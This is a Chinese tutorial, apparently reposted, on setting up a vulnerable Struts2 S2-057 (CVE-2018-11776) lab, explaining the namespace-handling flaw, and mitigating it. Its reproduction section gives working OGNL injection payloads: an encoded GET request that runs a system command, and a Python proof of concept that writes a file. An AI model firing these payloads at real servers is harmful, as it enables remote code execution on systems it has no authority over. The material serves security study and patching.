# 如何進行Struts2 S2-057漏洞環境搭建及漏洞分析
## 目錄
1. [漏洞背景與概述](#漏洞背景與概述)
2. [環境搭建準備](#環境搭建準備)
3. [漏洞環境搭建步驟](#漏洞環境搭建步驟)
4. [漏洞原理分析](#漏洞原理分析)
5. [漏洞復現與驗證](#漏洞復現與驗證)
6. [修復建議](#修復建議)
7. [總結](#總結)
---
## 漏洞背景與概述
**S2-057(CVE-2018-11776)**是Apache Struts2框架于2018年披露的一個高危遠程代碼執行漏洞。該漏洞在特定配置下,攻擊者可通過構造惡意請求實現服務器端代碼執行,影響Struts2核心機制中的命名空間處理模塊。
### 影響版本
- Struts 2.3 - 2.3.34
- Struts 2.5 - 2.5.16
### 漏洞條件
需同時滿足:
1. 未正確配置`alwaysSelectFullNamespace`參數
2. 使用了`action`標簽的`value`或`action`屬性未設置命名空間
---
## 環境搭建準備
### 所需工具清單
| 工具/組件 | 版本/下載鏈接 |
|----------------|----------------------------------|
| JDK | 1.8+ |
| Tomcat | 8.5.x |
| Struts2 | 受漏洞影響的版本(如2.5.16) |
| IDE | IntelliJ IDEA/Eclipse |
| 調試工具 | Burp Suite、Postman |
### 實驗環境拓撲
```plaintext
[攻擊機] ---HTTP請求---> [靶機: Tomcat + Struts2漏洞應用]
# 安裝JDK并配置環境變量
sudo apt install openjdk-8-jdk
export JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
# 下載Tomcat 8.5.x
wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.xx/bin/apache-tomcat-8.5.xx.tar.gz
tar -xzvf apache-tomcat-8.5.xx.tar.gz
Maven項目初始化:
<!-- pom.xml 關鍵依賴 -->
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.5.16</version>
</dependency>
配置web.xml:
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
struts.xml漏洞配置:
<struts>
<constant name="struts.mapper.alwaysSelectFullNamespace" value="false"/>
<package name="vuln-demo" extends="struts-default">
<action name="login" class="com.example.LoginAction">
<result>/welcome.jsp</result>
</action>
</package>
</struts>
mvn clean package
cp target/vuln-app.war ${TOMCAT_HOME}/webapps/
漏洞源于DefaultActionMapper
類對URL解析時的邏輯缺陷:
// 漏洞代碼片段(簡化)
public ActionMapping getMapping(HttpServletRequest request) {
String uri = RequestUtils.getUri(request);
// 錯誤處理:未正確驗證命名空間拼接
String namespace = parseNamespace(uri);
String name = parseActionName(uri);
// 導致OGNL表達式注入點
}
攻擊者可通過以下方式觸發漏洞:
http://target/${(1337+1)}/actionName.action
${}
中的OGNL表達式將被執行ognl.OgnlContext
實現RCE發送惡意請求:
GET /struts2-showcase/$%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D@java.lang.Runtime@getRuntime().exec('calc').waitFor()%7D/actionChain1.action HTTP/1.1
觀察結果:
使用Python PoC腳本:
import requests
target = "http://localhost:8080/vuln-app"
payload = "${(#_memberAccess['allowStaticMethodAccess']=true).(@java.lang.Runtime@getRuntime().exec('touch /tmp/pwned'))}"
response = requests.get(f"{target}/{payload}/login.action")
print(response.status_code)
升級到安全版本:
臨時緩解措施:
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true"/>
<constant name="struts.enable.DynamicMethodInvocation" value="false"/>
通過對S2-057漏洞的深入分析,我們可以得出以下結論: 1. 該漏洞利用鏈清晰,但需要特定配置條件 2. OGNL表達式注入仍是Struts2的主要威脅方向 3. 及時更新框架版本是最有效的防護手段
防御思考:在DevOps流程中應加入SCA(軟件成分分析)工具,及時檢測依賴庫中的已知漏洞。
附錄:參考資源
- Apache Struts2 官方公告
- CVE-2018-11776 漏洞詳情
- OGNL 注入技術白皮書 “`
注:實際執行漏洞測試時,請確保在授權環境下進行。本文檔僅供安全研究學習使用。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。